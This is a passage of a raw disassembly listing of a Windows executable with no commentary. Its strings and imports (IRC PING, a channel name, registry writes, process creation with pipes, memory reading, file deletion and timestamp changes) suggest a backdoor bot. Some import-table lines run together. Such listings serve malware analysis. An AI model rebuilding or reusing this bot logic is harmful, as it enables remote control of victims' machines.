call sub_416B40 ; strlen
pop ecx
mov [ebp-12F4h], eax
jmp short loc_416983
; ---------------------------------------------------------------------------
loc_416976: ; CODE XREF: .text:loc_4169DFj
mov eax, [ebp-12F4h]
dec eax
mov [ebp-12F4h], eax
loc_416983: ; CODE XREF: .text:00416974j
cmp dword ptr [ebp-12F4h], 0
jnz short loc_41699F
push offset byte_41DE30
push offset aPacked_exe ; "packed.exe"
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_4169E1
; ---------------------------------------------------------------------------
loc_41699F: ; CODE XREF: .text:0041698Aj
mov eax, [ebp-12F4h]
movsx eax, byte ptr [ebp+eax-1121h]
cmp eax, 5Ch
jnz short loc_4169DF
mov eax, [ebp-12F4h]
lea eax, [ebp+eax-1120h]
push eax
push offset aPacked_exe ; "packed.exe"
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset aPacked_exe ; "packed.exe"
push offset aPacked_exe_0 ; "packed.exe"
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_4169E1
; ---------------------------------------------------------------------------
loc_4169DF: ; CODE XREF: .text:004169B0j
jmp short loc_416976
; ---------------------------------------------------------------------------
loc_4169E1: ; CODE XREF: .text:0041695Cj
; .text:0041699Dj ...
call sub_406E8E
lea eax, [ebp-12ECh]
push eax
push 202h
call ds:dword_417264 ; WSAStartup
; START OF FUNCTION CHUNK FOR sub_416ADB
loc_4169F8: ; CODE XREF: sub_416ADB-98j
; sub_416ADB-34j
push 0
push 0
push 0
call sub_40D366
add esp, 0Ch
call sub_409226
and dword ptr [ebp-1124h], 0
and dword ptr [ebp-101Ch], 0
loc_416A19: ; CODE XREF: sub_416ADB+7j
mov dword ptr [ebp-4], 1
loc_416A20: ; CODE XREF: sub_416ADB:loc_416A6Fj
; sub_416ADB-1Bj
push 0EA60h
call sub_40CF25
push eax
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_416A71
cmp dword ptr [ebp-101Ch], 19h
jnz short loc_416A45
and dword ptr [ebp-4], 0
jmp short loc_4169F8
; ---------------------------------------------------------------------------
loc_416A45: ; CODE XREF: sub_416ADB-9Ej
cmp dword ptr [ebp-101Ch], 14h
jnz short loc_416A62
call sub_410422
push eax
push offset aPing08x ; "PING :%08X"
call sub_40D6CB
pop ecx
pop ecx
jmp short loc_416A6F
; ---------------------------------------------------------------------------
loc_416A62: ; CODE XREF: sub_416ADB-8Fj
mov eax, [ebp-101Ch]
inc eax
mov [ebp-101Ch], eax
loc_416A6F: ; CODE XREF: sub_416ADB-7Bj
jmp short loc_416A20
; ---------------------------------------------------------------------------
loc_416A71: ; CODE XREF: sub_416ADB-A7j
push 1000h
lea eax, [ebp-1018h]
push eax
call sub_40CF25
push eax
call sub_4053DC
add esp, 0Ch
mov [ebp-1124h], eax
cmp dword ptr [ebp-1124h], 0
jz short loc_416AA3
cmp dword ptr [ebp-1124h], 0FFFFFFFFh
jnz short loc_416AAC
loc_416AA3: ; CODE XREF: sub_416ADB-43j
and dword ptr [ebp-4], 0
jmp loc_4169F8
; ---------------------------------------------------------------------------
loc_416AAC: ; CODE XREF: sub_416ADB-3Aj
and dword ptr [ebp-101Ch], 0
lea eax, [ebp-1018h]
push eax
call sub_40E943
pop ecx
jmp loc_416A20
; END OF FUNCTION CHUNK FOR sub_416ADB
; =============== S U B R O U T I N E =======================================
sub_416AC5 proc near ; DATA XREF: .rdata:004172A8o
push offset aLoop ; "loop"
push offset aMain ; "main"
push dword ptr [ebp-14h]
call sub_40332B
add esp, 0Ch
retn
sub_416AC5 endp
; =============== S U B R O U T I N E =======================================
sub_416ADB proc near ; DATA XREF: .rdata:004172ACo
; FUNCTION CHUNK AT 004169F8 SIZE 000000CD BYTES
mov esp, [ebp-18h]
and dword ptr [ebp-4], 0
jmp loc_416A19
sub_416ADB endp
; ---------------------------------------------------------------------------
push offset aEntry ; "entry"
push offset aMain ; "main"
push dword ptr [ebp-14h]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword_41DE38, 0
jz short loc_416B1E
push offset dword_41DD54
push offset aLast ; "#last"
call sub_40D4AB
pop ecx
pop ecx
loc_416B1E: ; CODE XREF: .text:00416B0Bj
call ds:dword_417254 ; WSACleanup
push 0
call sub_416BFC ; exit
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B3A proc near ; CODE XREF: sub_401000+3Cp
; sub_4020C2+62p ...
jmp ds:dword_41712C
sub_416B3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B40 proc near ; CODE XREF: sub_401146+7Ap
; sub_4017AA+Ep ...
jmp ds:dword_4171BC
sub_416B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B46 proc near ; CODE XREF: sub_401244+85p
; sub_4017AA+22p ...
jmp ds:dword_4171B8
sub_416B46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B4C proc near ; CODE XREF: sub_401244+25p
; sub_401244+4DEp ...
jmp ds:dword_4171B4
sub_416B4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B52 proc near ; CODE XREF: sub_401244+1Ap
; sub_401981+18p ...
jmp ds:dword_4171B0
sub_416B52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap
; sub_4024F3+88p ...
jmp ds:dword_4171AC
sub_416B58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp
; sub_4055E5+231p ...
jmp ds:dword_4171A8
sub_416B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp
; sub_4018AF+5Dp ...
jmp ds:dword_4171A4
sub_416B64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B6A proc near ; CODE XREF: sub_401981+145p
; sub_401981+158p ...
jmp ds:dword_4171A0
sub_416B6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p
; sub_403260+4Cp ...
jmp ds:dword_41719C
sub_416B70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp
; sub_4020C2+1A6p ...
jmp ds:dword_417198
sub_416B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B7C proc near ; CODE XREF: sub_401E38+179p
; sub_402698+24Cp ...
jmp ds:dword_417194
sub_416B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp
; sub_401E38+262p ...
jmp ds:dword_417190
sub_416B82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B88 proc near ; CODE XREF: sub_401E38+42p
; sub_4020C2+159p ...
jmp ds:dword_41718C
sub_416B88 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p
; sub_41102F+94p ...
jmp ds:dword_417188
sub_416B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B96 proc near ; CODE XREF: sub_4020C2+198p
; sub_4020C2+1BCp ...
jmp ds:dword_417184
sub_416B96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B9C proc near ; CODE XREF: sub_4024F3+26p
; sub_4024F3+46p ...
jmp ds:dword_417180
sub_416B9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BA2 proc near ; CODE XREF: sub_402698+160p
; sub_40CA29+F6p ...
jmp ds:dword_41717C
sub_416BA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BA8 proc near ; CODE XREF: sub_402698+CCp
; sub_402698+110p ...
jmp ds:dword_417178
sub_416BA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BAE proc near ; CODE XREF: sub_402698+4Bp
; sub_4083AD+3DFp ...
jmp ds:dword_417174
sub_416BAE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p
; sub_40546E+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_416BE0
loc_416BCC: ; CODE XREF: sub_416BC0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_416BCC
loc_416BE0: ; CODE XREF: sub_416BC0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_416BC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp
; sub_4041B7+28p ...
jmp ds:dword_417170
sub_416BF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BF6 proc near ; CODE XREF: sub_406041+67p
jmp ds:dword_41716C
sub_416BF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p
; .text:00416B26p
jmp ds:dword_417168
sub_416BFC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416C10 proc near ; CODE XREF: sub_40821B+61p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_416C31
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_416C81
; ---------------------------------------------------------------------------
loc_416C31: ; CODE XREF: sub_416C10+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_416C3F: ; CODE XREF: sub_416C10+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_416C3F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_416C6A
cmp edx, [esp+4+arg_4]
ja short loc_416C6A
jb short loc_416C72
cmp eax, [esp+4+arg_0]
jbe short loc_416C72
loc_416C6A: ; CODE XREF: sub_416C10+4Aj
; sub_416C10+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_416C72: ; CODE XREF: sub_416C10+52j
; sub_416C10+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_416C81: ; CODE XREF: sub_416C10+1Fj
pop ebx
retn 10h
sub_416C10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416C90 proc near ; CODE XREF: sub_40821B+30p
; sub_40821B+3Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_416CB2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_416CF3
; ---------------------------------------------------------------------------
loc_416CB2: ; CODE XREF: sub_416C90+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_416CC0: ; CODE XREF: sub_416C90+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_416CC0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_416CEE
cmp edx, [esp+8+arg_4]
ja short loc_416CEE
jb short loc_416CEF
cmp eax, [esp+8+arg_0]
jbe short loc_416CEF
loc_416CEE: ; CODE XREF: sub_416C90+4Ej
; sub_416C90+54j
dec esi
loc_416CEF: ; CODE XREF: sub_416C90+56j
; sub_416C90+5Cj
xor edx, edx
mov eax, esi
loc_416CF3: ; CODE XREF: sub_416C90+20j
pop esi
pop ebx
retn 10h
sub_416C90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp
; sub_409226+5Cp ...
jmp ds:dword_417164
sub_416CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416CFE proc near ; CODE XREF: sub_409226+55p
; sub_4092A4+55p ...
jmp ds:dword_417160
sub_416CFE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416D10 proc near ; CODE XREF: sub_409226+42p
; sub_4092A4+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_416D31
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_416D31: ; CODE XREF: sub_416D10+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_416D4D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_416D4D: ; CODE XREF: sub_416D10+27j
or eax, eax
jnz short loc_416D69
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_416DAA
; ---------------------------------------------------------------------------
loc_416D69: ; CODE XREF: sub_416D10+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_416D77: ; CODE XREF: sub_416D10+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_416D77
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_416DA5
cmp edx, [esp+0Ch+arg_4]
ja short loc_416DA5
jb short loc_416DA6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_416DA6
loc_416DA5: ; CODE XREF: sub_416D10+85j
; sub_416D10+8Bj
dec esi
loc_416DA6: ; CODE XREF: sub_416D10+8Dj
; sub_416D10+93j
xor edx, edx
mov eax, esi
loc_416DAA: ; CODE XREF: sub_416D10+57j
dec edi
jnz short loc_416DB4
neg edx
neg eax
sbb edx, 0
loc_416DB4: ; CODE XREF: sub_416D10+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_416D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao
; sub_4094E6+Ao ...
jmp ds:dword_41715C
sub_416DBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DC0 proc near ; CODE XREF: sub_409479+41p
; sub_4095A4+162p
jmp ds:dword_417158
sub_416DC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp
jmp ds:dword_417154
sub_416DC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DCC proc near ; CODE XREF: sub_409CB1+105p
; sub_409CB1+114p ...
jmp ds:dword_417150
sub_416DCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p
; sub_409CB1+88p
jmp ds:dword_41714C
sub_416DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap
; sub_409DD0+13Bp
jmp ds:dword_417148
sub_416DD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep
; sub_40A9CF+1F6p ...
jmp ds:dword_417144
sub_416DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p
jmp ds:dword_417140
sub_416DE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp
jmp ds:dword_41713C
sub_416DEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DF0 proc near ; CODE XREF: sub_40D420+47p
; sub_40D4AB+50p ...
jmp ds:dword_417138
sub_416DF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp
; sub_40EF59+C1p
jmp ds:dword_417134
sub_416DF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DFC proc near ; CODE XREF: sub_40F040+52p
; sub_40F040+A8p
jmp ds:dword_417130
sub_416DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep
jmp ds:dword_417128
sub_416E02 endp
; ---------------------------------------------------------------------------
loc_416E08: ; CODE XREF: .text:00416FE2j
jmp ds:dword_417124
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416E10 proc near ; CODE XREF: sub_414EF4+5p
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_416E10 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep
; sub_4048EF+2CFp ...
jmp ds:dword_4171F8
sub_416E30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp
; sub_414EF4+1E2p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_416EAF
retn 4
sub_416E40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E4E proc near ; CODE XREF: sub_414EF4+134p
; sub_414EF4+2D8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_416EA0
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_41DDD0
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_416EA0
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_416EA0
lea eax, [ebp+var_4]
push eax
push 0
call ds:dword_4171C8
test eax, eax
jz short loc_416EA0
and [ebp+var_4], 0
loc_416EA0: ; CODE XREF: sub_416E4E+Dj
; sub_416E4E+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_416EAF
leave
retn 0Ch
sub_416E4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EAF proc near ; CODE XREF: sub_416E40+6p
; sub_416E4E+58p
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416ED3
lea eax, [ebp+var_10]
push offset dword_4173B8
push eax
call sub_416FA2 ; _CxxThrowException
sub_416EAF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
push esi
mov esi, ecx
and dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov eax, [esp+4+arg_4]
mov dword ptr [esi], offset off_4172B4
test eax, eax
mov [esi+8], eax
jz short loc_416EFF
cmp [esp+4+arg_8], 0
jz short loc_416EFF
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_416EFF: ; CODE XREF: sub_416ED3+1Dj
; sub_416ED3+24j
mov eax, esi
pop esi
retn 0Ch
sub_416ED3 endp
; =============== S U B R O U T I N E =======================================
sub_416F05 proc near ; DATA XREF: .rdata:off_4172B4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_416F4E
test [esp+4+arg_0], 1
jz short loc_416F1B
push esi
call sub_416DCC
pop ecx
loc_416F1B: ; CODE XREF: sub_416F05+Dj
mov eax, esi
pop esi
retn 4
sub_416F05 endp
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_4172B4
jz short loc_416F48
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_416F48: ; CODE XREF: .text:00416F40j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_416F4E proc near ; CODE XREF: sub_416F05+3p
; DATA XREF: .rdata:004173BCo
push esi
mov esi, ecx
mov eax, [esi+8]
mov dword ptr [esi], offset off_4172B4
test eax, eax
jz short loc_416F64
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_416F64: ; CODE XREF: sub_416F4E+Ej
mov esi, [esi+0Ch]
test esi, esi
jz short loc_416F72
push esi
call ds:dword_4170B0 ; LocalFree
loc_416F72: ; CODE XREF: sub_416F4E+1Bj
pop esi
retn
sub_416F4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F74 proc near ; CODE XREF: sub_401244+120p
; sub_406E8E+DAp ...
jmp ds:dword_4171C0
sub_416F74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F7A proc near ; CODE XREF: sub_4020C2+113p
; sub_4038BA+22Fp ...
jmp ds:dword_417114
sub_416F7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F80 proc near ; CODE XREF: sub_402A32+CCp
; sub_402A32+2B9p ...
jmp ds:dword_417118
sub_416F80 endp
; =============== S U B R O U T I N E =======================================
sub_416F86 proc near ; DATA XREF: .rdata:off_4172BCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_416FA8
test [esp+4+arg_0], 1
jz short loc_416F9C
push esi
call sub_416DCC
pop ecx
loc_416F9C: ; CODE XREF: sub_416F86+Dj
mov eax, esi
pop esi
retn 4
sub_416F86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp
jmp ds:dword_41711C
sub_416FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416FA8 proc near ; CODE XREF: sub_416F86+3p
jmp ds:dword_417120
sub_416FA8 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A00h]
call sub_415B3F
retn
; =============== S U B R O U T I N E =======================================
sub_416FBC proc near ; DATA XREF: .rdata:0041737Co
lea ecx, [ebp-10h]
call sub_415B3F
retn
sub_416FBC endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-0DF8h]
call sub_415B3F
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E14h]
call sub_415B3F
retn
; ---------------------------------------------------------------------------
loc_416FDD: ; DATA XREF: sub_414EF4o
mov eax, offset dword_417350
jmp loc_416E08
; ---------------------------------------------------------------------------
align 20h
_text ends
; Section 2. (virtual address 00017000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00017000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 417000h
dword_417000 dd 77DECF4Ah ; resolved to->ADVAPI32.RegEnumValueAdword_417004 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_406C51+96r
dword_417008 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_406722+184r ...
dword_41700C dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4083AD+2DDr ...
dword_417010 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_417014 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_417018 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameAdword_41701C dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_417020 dd 77DE5244h ; resolved to->ADVAPI32.CryptGenRandom ; sub_4102AE+37r ...
dword_417024 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_417028 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_406722+2F9r ...
align 10h
dword_417030 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_40D043+20Br ...
dword_417034 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_408342+4Br
dword_417038 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryAdword_41703C dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_414EF4+8EEr
dword_417040 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_417044 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_406B81+95r ...
dword_417048 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_41704C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_417050 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_406AE7+15r ...
dword_417054 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_403BD3+32r ...
dword_417058 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_403BD3+4Dr ...
dword_41705C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_407148+18Br ...
dword_417060 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_406E8E+1FEr
dword_417064 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_409CB1+CFr ...
dword_417068 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_406D90+D3r
dword_41706C dd 7C8217EAh ; resolved to->KERNEL32.SearchPathAdword_417070 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_401981+D7r
dword_417074 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_401981+111r
dword_417078 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameAdword_41707C dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_406E8E+2A5r
dword_417080 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_417084 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_417088 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_41708C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_40332B+1D0r ...
dword_417090 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40332B+1D7r ...
dword_417094 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_406041+193r ...
dword_417098 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_406509+91r
dword_41709C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401244+4F4r ...
dword_4170A0 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_406643+3Br
dword_4170A4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401244+4C1r ...
dword_4170A8 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_406E8E+22Ar ...
dword_4170AC dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401E38+30r ...
dword_4170B0 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4170B4 dd 7C810637h ; resolved to->KERNEL32.CreateThreaddword_4170B8 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_4170BC dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_4170C0 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_4170C4 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4170C8 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_408F2E+134r
dword_4170CC dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_408F2E+7Fr ...
dword_4170D0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_4092A4:loc_409307r ...
